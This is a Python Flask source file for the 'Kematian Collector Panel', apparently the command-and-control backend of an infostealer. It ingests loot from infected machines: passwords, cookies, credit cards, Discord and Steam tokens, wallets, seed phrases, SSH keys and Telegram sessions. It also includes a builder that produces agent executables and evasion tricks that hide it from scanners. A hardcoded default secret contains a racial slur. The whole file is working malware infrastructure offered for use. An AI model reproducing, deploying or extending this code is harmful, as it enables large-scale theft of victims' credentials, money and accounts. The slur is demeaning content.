""" Kematian Collector Panel ======================== Admin-authenticated dashboard + raw JSON ingest for the kematian-standalone agent. Each collected data category is stored in its own SQLite table and served on its own page with a dedicated icon. Project: https://t.me/electronic_sex Run: pip install -r requirements.txt python app.py First-run: head to /setup to create the admin account, then / to log in. """ import base64 import json import os import time from functools import wraps from flask import Flask, render_template, request, session, redirect, url_for, jsonify, abort, g, flash, make_response from werkzeug.security import generate_password_hash, check_password_hash import crypto import db import blobs import builder app = Flask(__name__) app.secret_key = os.environ.get("PANEL_SECRET", "blackniggers") app.config["JSON_SORT_KEYS"] = False # ------------------------------------------------------------------ privacy / hardening # Optional admin allowlist: comma-separated IPs that may log in. Empty = anyone, # but still gated by credentials + rate limit. ALLOWED_IPS = {x.strip() for x in os.environ.get("PANEL_ALLOWED_IPS", "").split(",") if x.strip()} # Short response tokens to confuse generic scanners (shown on probe endpoints). DECOY_NAME = os.environ.get("PANEL_DECOY_NAME", "nginx") # Requests per time window before an IP gets throttled. RATE_LIMIT_WINDOW = int(os.environ.get("PANEL_RATE_WINDOW", "60")) RATE_LIMIT_MAX = int(os.environ.get("PANEL_RATE_MAX", "10")) RATE_HITS = {} # ip -> [timestamps] def client_ip(): return request.headers.get("X-Forwarded-For", request.remote_addr).split(",")[0].strip() def rate_limited(): """Return True if this IP has crossed the throttle limit for the window.""" ip = client_ip() now = time.time() hits = RATE_HITS.setdefault(ip, []) hits = [t for t in hits if now - t < RATE_LIMIT_WINDOW] RATE_HITS[ip] = hits return len(hits) >= RATE_LIMIT_MAX def rate_hit(): RATE_HITS.setdefault(client_ip(), []).append(time.time()) def ip_allowed(): if not ALLOWED_IPS: return True return client_ip() in ALLOWED_IPS # One-shot setup lock lives on disk (next to the DB) so it survives resets. SETUP_LOCK_FILE = os.path.join(os.path.dirname(os.path.abspath(__file__)), ".setup_done") def setup_locked(): return os.path.exists(SETUP_LOCK_FILE) def mark_setup_done(): try: with open(SETUP_LOCK_FILE, "w") as f: f.write(str(int(time.time()))) except OSError: pass @app.after_request def security_headers(resp): resp.headers["X-Content-Type-Options"] = "nosniff" resp.headers["X-Frame-Options"] = "DENY" resp.headers["Referrer-Policy"] = "no-referrer" resp.headers["X-XSS-Protection"] = "0" resp.headers["Cache-Control"] = "no-store" resp.headers["Server"] = DECOY_NAME return resp # Hide a couple of default Flask facts from cursory scan tooling. app.config["SERVER_NAME"] = None def fmt_dt(ts): if not ts: return "—" return time.strftime("%Y-%m-%d %H:%M", time.localtime(ts)) def fmt_size(n): try: n = int(n) except (TypeError, ValueError): return "—" for unit in ("B", "KB", "MB", "GB"): if n < 1024 or unit == "GB": return f"{n:.1f} {unit}" n /= 1024 app.jinja_env.filters["datetime"] = fmt_dt app.jinja_env.filters["filesize"] = fmt_size # Ingest API key. Override via env: PANEL_INGEST_KEY INGEST_KEY = os.environ.get("PANEL_INGEST_KEY", "CHANGE-ME") # Public-facing ingest URL of this panel, used to pre-fill the builder form. _public_url = os.environ.get("PANEL_PUBLIC_URL", "").strip().rstrip("/") PANEL_PUBLIC_URL = (_public_url + "/api/ingest") if _public_url else "/api/ingest" # Map of category -> (label, table, icon path, page title) CATEGORIES = { "passwords": ("Passwords", "passwords", "pass", "Stored Login Credentials"), "cookies": ("Cookies", "cookies", "cookie", "Browser Cookies"), "autofill": ("Autofill", "autofill", "autofill", "Autofill Data"), "history": ("History", "history", "history", "Browsing History"), "bookmarks": ("Bookmarks", "bookmarks", "bookmark", "Bookmarks"), "credit_cards": ("Credit Cards", "credit_cards", "card", "Saved Cards & Billing"), "discord_tokens": ("Discord Tokens", "discord_tokens", "discord", "Discord Tokens"), "files": ("Files", "files", "files", "Interesting Files"), "extensions": ("Extensions", "extensions", "extension","Browser Extensions"), "wallets": ("Wallets", "wallets", "wallet", "Crypto Wallets"), "telegram": ("Telegram", "telegram", "telegram", "Telegram Sessions"), "keys": ("SSH / Cloud Keys","keys", "key", "SSH & Auth Keys"), "app_credentials": ("App Credentials", "app_credentials", "app", "App Credentials"), "seeds": ("Seed Phrases", "seeds", "seed", "Crypto Seed Phrases"), "gaming": ("Gaming", "gaming", "game", "Gaming Accounts"), "steam_tokens": ("Steam Tokens", "steam_tokens", "steam", "Steam Login & Refresh Tokens"), "vpns": ("VPNs", "vpns", "vpn", "VPN Configurations"), } def now_ts(): return int(time.time()) # ---------------------------------------------------------------- auth def login_required(f): @wraps(f) def wrapper(*args, **kwargs): if not session.get("admin"): return redirect(url_for("login", next=request.path)) return f(*args, **kwargs) return wrapper @app.context_processor def inject_globals(): import os as _os return { "categories": CATEGORIES, "cat": CATEGORIES, "os": _os, } @app.route("/setup", methods=["GET", "POST"]) def setup(): if not ip_allowed(): return abort(404) db.init_db() # One-shot lock: once setup has completed, /setup is permanently closed. # Uses a persistent marker file (independent of the DB), so even if the admin # table is cleared or the DB is reset, setup cannot be re-run. if setup_locked(): flash("Setup is already complete. Log in instead.", "info") return redirect(url_for("login")) conn = db.get_conn() existing = conn.execute("SELECT id FROM admin").fetchone() conn.close() if existing: mark_setup_done() flash("Admin already exists. Log in instead.", "info") return redirect(url_for("login")) if rate_limited(): return abort(429) if request.method == "POST": rate_hit() user = (request.form.get("username") or "").strip() pwd = request.form.get("password") or "" if len(user) < 3: flash("Username must be at least 3 characters.", "error") elif len(pwd) < 6: flash("Password must be at least 6 characters.", "error") else: conn = db.get_conn() try: conn.execute( "INSERT INTO admin (username, password_hash) VALUES (?, ?)", (user, generate_password_hash(pwd)), ) conn.commit() finally: conn.close() mark_setup_done() flash("Admin created. Log in now.", "success") return redirect(url_for("login")) return render_template("setup.html") @app.route("/login", methods=["GET", "POST"]) def login(): if not ip_allowed(): return abort(404) db.init_db() if request.method == "POST": if rate_limited(): return abort(429) rate_hit() user = (request.form.get("username") or "").strip() pwd = request.form.get("password") or "" conn = db.get_conn() row = conn.execute("SELECT * FROM admin WHERE username = ?", (user,)).fetchone() conn.close() if row and check_password_hash(row["password_hash"], pwd): session["admin"] = row["username"] RATE_HITS.pop(client_ip(), None) flash("Welcome back.", "success") nxt = request.args.get("next") or url_for("dashboard") return redirect(nxt) flash("Invalid credentials.", "error") return render_template("login.html") @app.route("/logout") def logout(): session.pop("admin", None) flash("Logged out.", "info") return redirect(url_for("login")) # ---------------------------------------------------------------- dashboard @app.route("/") def index(): return redirect(url_for("login") if not session.get("admin") else url_for("dashboard")) @app.route("/dashboard") @login_required def dashboard(): conn = db.get_conn() client_count = conn.execute("SELECT COUNT(*) c FROM clients").fetchone()["c"] total = conn.execute("SELECT COALESCE(SUM(total_entries),0) t FROM clients").fetchone()["t"] stats = {} for key, (label, table, icon, _title) in CATEGORIES.items(): rows = conn.execute(f"SELECT COUNT(*) c FROM {table}").fetchone()["c"] stats[key] = {"label": label, "count": rows, "icon": icon} recent = conn.execute( "SELECT client_id, os, arch, ip, first_seen, last_seen, total_entries " "FROM clients ORDER BY last_seen DESC LIMIT 8" ).fetchall() conn.close() loot_count = len(blobs.blobs_for()) # --- chart data: entries per category + activity over the last 24h --- chart_labels = [stats[k]["label"] for k in CATEGORIES] chart_values = [stats[k]["count"] for k in CATEGORIES] chart_icons = [stats[k]["icon"] for k in CATEGORIES] return render_template( "dashboard.html", client_count=client_count, total=total, loot_count=loot_count, stats=stats, recent=recent, chart_labels=chart_labels, chart_values=chart_values, chart_icons=chart_icons, ) # ---------------------------------------------------------------- clients @app.route("/clients") @login_required def clients(): conn = db.get_conn() rows = conn.execute( "SELECT * FROM clients ORDER BY last_seen DESC" ).fetchall() conn.close() return render_template("clients.html", clients=rows) @app.route("/client/") @login_required def client_detail(client_id): conn = db.get_conn() cli = conn.execute("SELECT * FROM clients WHERE client_id = ?", (client_id,)).fetchone() if not cli: conn.close() abort(404) per_cat = {} for key, (label, table, icon, _title) in CATEGORIES.items(): c = conn.execute(f"SELECT COUNT(*) c FROM {table} WHERE client_id = ?", (client_id,)).fetchone()["c"] per_cat[key] = {"label": label, "count": c, "icon": icon} conn.close() return render_template("client_detail.html", cli=cli, per_cat=per_cat) # ---------------------------------------------------------------- category pages @app.route("/cat/") @login_required def category(key): if key not in CATEGORIES: abort(404) label, table, icon, title = CATEGORIES[key] client_filter = request.args.get("client") conn = db.get_conn() if client_filter: rows = conn.execute(f"SELECT * FROM {table} WHERE client_id = ? ORDER BY id DESC", (client_filter,)).fetchall() else: rows = conn.execute(f"SELECT * FROM {table} ORDER BY id DESC").fetchall() conn.close() return render_template( "categories/view.html", key=key, label=label, icon=icon, title=title, table=table, rows=rows, client_filter=client_filter, ) @app.route("/api/raw/") @login_required def api_raw(key): if key not in CATEGORIES: abort(404) _label, table, _icon, _title = CATEGORIES[key] client_filter = request.args.get("client") conn = db.get_conn() if client_filter: cols = [r["name"] for r in conn.execute(f"PRAGMA table_info({table})").fetchall()] rows = conn.execute(f"SELECT * FROM {table} WHERE client_id = ?", (client_filter,)).fetchall() else: cols = [r["name"] for r in conn.execute(f"PRAGMA table_info({table})").fetchall()] rows = conn.execute(f"SELECT * FROM {table}").fetchall() conn.close() payload = [dict(r) for r in rows] return jsonify({"columns": cols, "rows": payload}) # ---------------------------------------------------------------- payloads / backups @app.route("/client//loot") @login_required def client_loot(client_id): """List the hosted payload files for a client.""" blobs_for = blobs.blobs_for(client_id) return render_template("loot.html", client_id=client_id, blobs=blobs_for) @app.route("/client//loot//download") @login_required def loot_download(client_id, blob_id): """Download one hosted payload zip.""" path = blobs.blob_path(client_id, blob_id) if not path: abort(404) # send_file needs the filename to preserve the download name from flask import send_file return send_file(path, as_attachment=True, download_name=os.path.basename(path)) @app.route("/client//loot/zip") @login_required def loot_zip(client_id): """Bundle every hosted payload for a client into one download zip (backup).""" import io, zipfile items = blobs.blobs_for(client_id) buf = io.BytesIO() with zipfile.ZipFile(buf, "w", zipfile.ZIP_DEFLATED) as z: for b in items: path = blobs.blob_path(client_id, b["id"]) if path: z.write(path, arcname=f"{client_id}/{b['filename']}") buf.seek(0) from flask import send_file return send_file(buf, as_attachment=True, download_name=f"{client_id}_loot.zip", mimetype="application/zip") @app.route("/loot") @login_required def all_loot(): """Every payload file across all clients.""" items = blobs.blobs_for() return render_template("loot_all.html", blobs=items) @app.route("/fileshare") @login_required def fileshare(): """File share overview: every hosted file + clients that have files.""" items = blobs.blobs_for() by_client = {} uploaded = 0 for b in items: by_client[b["client_id"]] = by_client.get(b["client_id"], 0) + 1 if b["client_id"] == "upload": uploaded += 1 return render_template("fileshare.html", blobs=items, by_client=by_client, uploaded=uploaded) @app.route("/fileshare/upload", methods=["POST"]) @login_required def fileshare_upload(): """Upload a file (admin) into the built-in file share.""" f = request.files.get("file") if not f or not f.filename: flash("Choose a file to upload.", "error") return redirect(url_for("fileshare")) category = (request.form.get("category") or "upload").strip() or "upload" try: data = f.read() blob_id = blobs.upload_public(f.filename, data, category=category) flash(f"Uploaded {f.filename}", "success") return redirect(url_for("fileshare")) except Exception as e: flash(f"Upload failed: {e}", "error") return redirect(url_for("fileshare")) # ---------------------------------------------------------------- ingest API def authorized_auth(): """Validate the ingress Bearer token. Compares against the configured key.""" auth = request.headers.get("Authorization", "") return auth == f"Bearer {INGEST_KEY}" @app.route("/api/ingest", methods=["POST"]) def ingest(): # Require both a valid ingress key AND (if set) an allowed ingress IP, so a # random person curling the domain can't even attempt to feed garbage. if not authorized_auth(): abort(401) if not ip_allowed(): abort(404) data = request.get_json(silent=True) # E2EE envelope: {"enc": ""} — decrypt to recover the # CollectionResult, then land each category in its own table. if isinstance(data, dict) and data.get("enc"): try: plain = crypto.decrypt_wire(data["enc"]) except Exception as e: return jsonify({"error": "decryption failed", "detail": str(e)}), 400 try: data = json.loads(plain) except Exception: return jsonify({"error": "decrypted payload is not valid JSON"}), 400 if not isinstance(data, dict): return jsonify({"error": "body must be a JSON object"}), 400 client_id = data.get("clientId") or data.get("client_id") if not client_id: client_id = str(base64.urlsafe_b64encode(os.urandom(9)), "ascii") while len(client_id) < 12: client_id += "x" client_id = client_id[:12] host = data.get("host") or {} ip = request.headers.get("X-Forwarded-For", request.remote_addr).split(",")[0].strip() ts = now_ts() total_new = 0 payload_saved = 0 conn = db.get_conn() try: conn.execute("BEGIN") existing = conn.execute("SELECT id FROM clients WHERE client_id = ?", (client_id,)).fetchone() if existing: conn.execute( "UPDATE clients SET last_seen=?, ip=?, user_agent=?, version=?, os=COALESCE(?, os), arch=COALESCE(?, arch) " "WHERE client_id=?", (ts, ip, request.headers.get("User-Agent", ""), host.get("version", ""), host.get("os", ""), host.get("arch", ""), client_id), ) else: conn.execute( "INSERT INTO clients (client_id, os, arch, version, ip, user_agent, first_seen, last_seen) " "VALUES (?,?,?,?,?,?,?,?)", (client_id, host.get("os", ""), host.get("arch", ""), host.get("version", ""), ip, request.headers.get("User-Agent", ""), ts, ts), ) # helper: bulk-insert a category with clear-then-replace strategy def insert_cat(cat_keys, target_table, mapper): nonlocal total_new items = data.get(cat_keys, []) if items is None: items = [] for it in items: if not isinstance(it, dict): continue cols, vals = mapper(it) q = f"INSERT INTO {target_table} (client_id, {', '.join(cols)}) VALUES ({','.join('?' for _ in range(len(cols)+1))})" conn.execute(q, [client_id] + vals) total_new += 1 return len(items) insert_cat("passwords", "passwords", lambda d: ( ["url", "username", "password", "browser", "profile"], [d.get("url"), d.get("username"), d.get("password"), d.get("browser"), d.get("profile")], )) insert_cat("cookies", "cookies", lambda d: ( ["host", "name", "value", "path", "secure", "http_only", "expires_utc", "browser", "profile"], [d.get("host"), d.get("name"), d.get("value"), d.get("path"), int(bool(d.get("secure"))), int(bool(d.get("httpOnly"))), d.get("expiresUtc"), d.get("browser"), d.get("profile")], )) insert_cat("autofill", "autofill", lambda d: ( ["name", "value", "date_created", "browser", "profile"], [d.get("name"), d.get("value"), d.get("dateCreated"), d.get("browser"), d.get("profile")], )) insert_cat("history", "history", lambda d: ( ["url", "title", "visit_time_unix", "visit_count", "last_visit_time", "browser", "profile"], [d.get("url"), d.get("title"), d.get("visitTimeUnix"), d.get("visitCount"), d.get("lastVisitTime"), d.get("browser"), d.get("profile")], )) insert_cat("bookmarks", "bookmarks", lambda d: ( ["name", "url", "type", "browser", "profile"], [d.get("name"), d.get("url"), d.get("type"), d.get("browser"), d.get("profile")], )) insert_cat("creditCards", "credit_cards", lambda d: ( ["name_on_card", "expiration_month", "expiration_year", "card_number", "nickname", "browser", "profile"], [d.get("nameOnCard"), d.get("expirationMonth"), d.get("expirationYear"), d.get("cardNumber"), d.get("nickname"), d.get("browser"), d.get("profile")], )) insert_cat("discordTokens", "discord_tokens", lambda d: ( ["token", "source"], [d.get("token"), d.get("source")], )) insert_cat("files", "files", lambda d: ( ["path", "name", "ext", "size", "modified", "dir", "tags"], [d.get("path"), d.get("name"), d.get("ext"), d.get("size"), d.get("modified"), d.get("dir"), ";".join(d.get("tags", [])) if isinstance(d.get("tags"), list) else d.get("tags")], )) insert_cat("extensions", "extensions", lambda d: ( ["ext_id", "name", "version", "browser", "profile", "path", "category"], [d.get("extId"), d.get("name"), d.get("version"), d.get("browser"), d.get("profile"), d.get("path"), d.get("category")], )) insert_cat("wallets", "wallets", lambda d: ( ["name", "type", "path", "files", "size", "addresses", "vault_data"], [d.get("name"), d.get("type"), d.get("path"), d.get("files"), d.get("size"), ";".join(d.get("addresses", [])) if isinstance(d.get("addresses"), list) else d.get("addresses"), d.get("vaultData")], )) insert_cat("telegram", "telegram", lambda d: ( ["account", "path", "files", "size"], [d.get("account"), d.get("path"), d.get("files"), d.get("size")], )) insert_cat("keys", "keys", lambda d: ( ["type", "name", "path", "size", "content"], [d.get("type"), d.get("name"), d.get("path"), d.get("size"), d.get("content")], )) insert_cat("appCredentials", "app_credentials", lambda d: ( ["application", "host", "port", "username", "password", "protocol", "extra"], [d.get("application"), d.get("host"), d.get("port"), d.get("username"), d.get("password"), d.get("protocol"), d.get("extra")], )) insert_cat("seeds", "seeds", lambda d: ( ["source", "path", "phrase", "words"], [d.get("source"), d.get("path"), d.get("phrase"), d.get("words")], )) # nested objects (gaming/vpns) — store the whole sub-object as one row def insert_single(table, vpn_or_key, payload): nonlocal total_new cols = ["client_id", vpn_or_key, "payload"] conn.execute( f"INSERT INTO {table} ({', '.join(cols)}) VALUES (?,?,?)", [client_id, vpn_or_key, json.dumps(payload, separators=(',', ':'))], ) total_new += 1 gaming = data.get("gaming") if isinstance(gaming, dict) and gaming: insert_single("gaming", "platform", gaming) vpns = data.get("vpns") if isinstance(vpns, dict) and vpns: insert_single("vpns", "vpn", vpns) # steam login/refresh tokens (list of {steamId, token}) -> own table steam_tokens = data.get("steamTokens") if isinstance(steam_tokens, list): for st in steam_tokens: if not isinstance(st, dict): continue conn.execute( "INSERT INTO steam_tokens (client_id, steam_id, token) VALUES (?,?,?)", (client_id, st.get("steamId"), st.get("token")), ) total_new += 1 # binary payloads (wallet/telegram/steam zips) -> persisted under loot/ payloads = data.get("payloads") if isinstance(payloads, list): for blob_doc in payloads: if not isinstance(blob_doc, dict): continue try: blobs.save_payload(client_id, blob_doc, conn=conn) payload_saved += 1 except Exception: pass conn.execute( "UPDATE clients SET total_entries = total_entries + ? WHERE client_id = ?", (total_new, client_id), ) conn.commit() except Exception as e: conn.rollback() conn.close() return jsonify({"error": str(e)}), 500 conn.close() return jsonify({"ok": True, "clientId": client_id, "entries": total_new, "payloads": payload_saved}), 200 # ---------------------------------------------------------------- misc @app.route("/health") def health(): # Only responds when the caller proves it's an agent (correct ingress key), # so random scanners / curls get a nondescript 404 instead of a liveness beacon. if not authorized_auth() or not ip_allowed(): return abort(404) return jsonify({"ok": True, "ts": now_ts()}) @app.route("/e2ee/pub") def e2ee_pub(): """Panel's E2EE public key (hex). Agent fetches this at runtime to encrypt toward the panel. Locked behind the same ingress key so it isn't public.""" if not authorized_auth() or not ip_allowed(): return abort(404) return jsonify({"algo": "x25519-hkdf-chacha20poly1305", "publicKey": crypto.public_key_hex()}) @app.route("/search") @login_required def search(): q = (request.args.get("q") or "").strip() results = [] conn = db.get_conn() if q: like = f"%{q}%" pwd = conn.execute( "SELECT client_id, url, username, password, browser FROM passwords WHERE url LIKE ? OR username LIKE ? LIMIT 50", (like, like), ).fetchall() for p in pwd: results.append({"type": "Password", "detail": f"{p['username']} @ {p['url']}", "client": p["client_id"]}) tok = conn.execute( "SELECT client_id, token, source FROM discord_tokens WHERE token LIKE ? LIMIT 50", (like,) ).fetchall() for t in tok: results.append({"type": "Discord", "detail": t["token"][:40], "client": t["client_id"]}) host = conn.execute( "SELECT client_id, host, name, value FROM cookies WHERE host LIKE ? OR name LIKE ? LIMIT 50", (like, like), ).fetchall() for c in host: results.append({"type": "Cookie", "detail": f"{c['name']} @ {c['host']}", "client": c["client_id"]}) conn.close() return render_template("search.html", q=q, results=results) # ---------------------------------------------------------------- web builder @app.route("/build") @login_required def build_page(): return render_template("builder.html", default_endpoint=PANEL_PUBLIC_URL, builds=builder.all_jobs()) @app.route("/build", methods=["POST"]) @login_required def build_start(): endpoint = (request.form.get("endpoint") or "").strip() auth = (request.form.get("auth") or "").strip() bot_token = (request.form.get("bot_token") or "").strip() chat_id = (request.form.get("chat_id") or "").strip() build_name = (request.form.get("build_name") or "kematian").strip() if not endpoint: endpoint = PANEL_PUBLIC_URL # normalize: if user entered just host, append /api/ingest if not endpoint.endswith("/api/ingest"): endpoint = endpoint.rstrip("/") + "/api/ingest" if not auth: return render_template("builder.html", error="Panel auth key is required.", default_endpoint=endpoint, builds=builder.all_jobs()), 400 build_id = builder.start_build(endpoint, auth, bot_token, chat_id, build_name) return render_template("builder.html", started=build_id, default_endpoint=endpoint, builds=builder.all_jobs()) @app.route("/build/status/") @login_required def build_status(build_id): job = builder.job_status(build_id) if not job: return jsonify({"error": "no such build"}), 404 exe_name = os.path.basename(job["exe"]) if job["exe"] else None return jsonify({ "status": job["status"], "error": job["error"], "exe": exe_name, "download": f"/build/download/{exe_name}" if exe_name else None, }) @app.route("/build/download/") @login_required def build_download(filename): from flask import send_file safe = os.path.basename(filename) path = os.path.join(builder.BUILDS_DIR, safe) if not os.path.exists(path): abort(404) return send_file(path, as_attachment=True, download_name=safe) if __name__ == "__main__": db.init_db() os.makedirs(builder.BUILDS_DIR, exist_ok=True) port = int(os.environ.get("PANEL_PORT", 5000)) app.run(host="0.0.0.0", port=port, debug=False)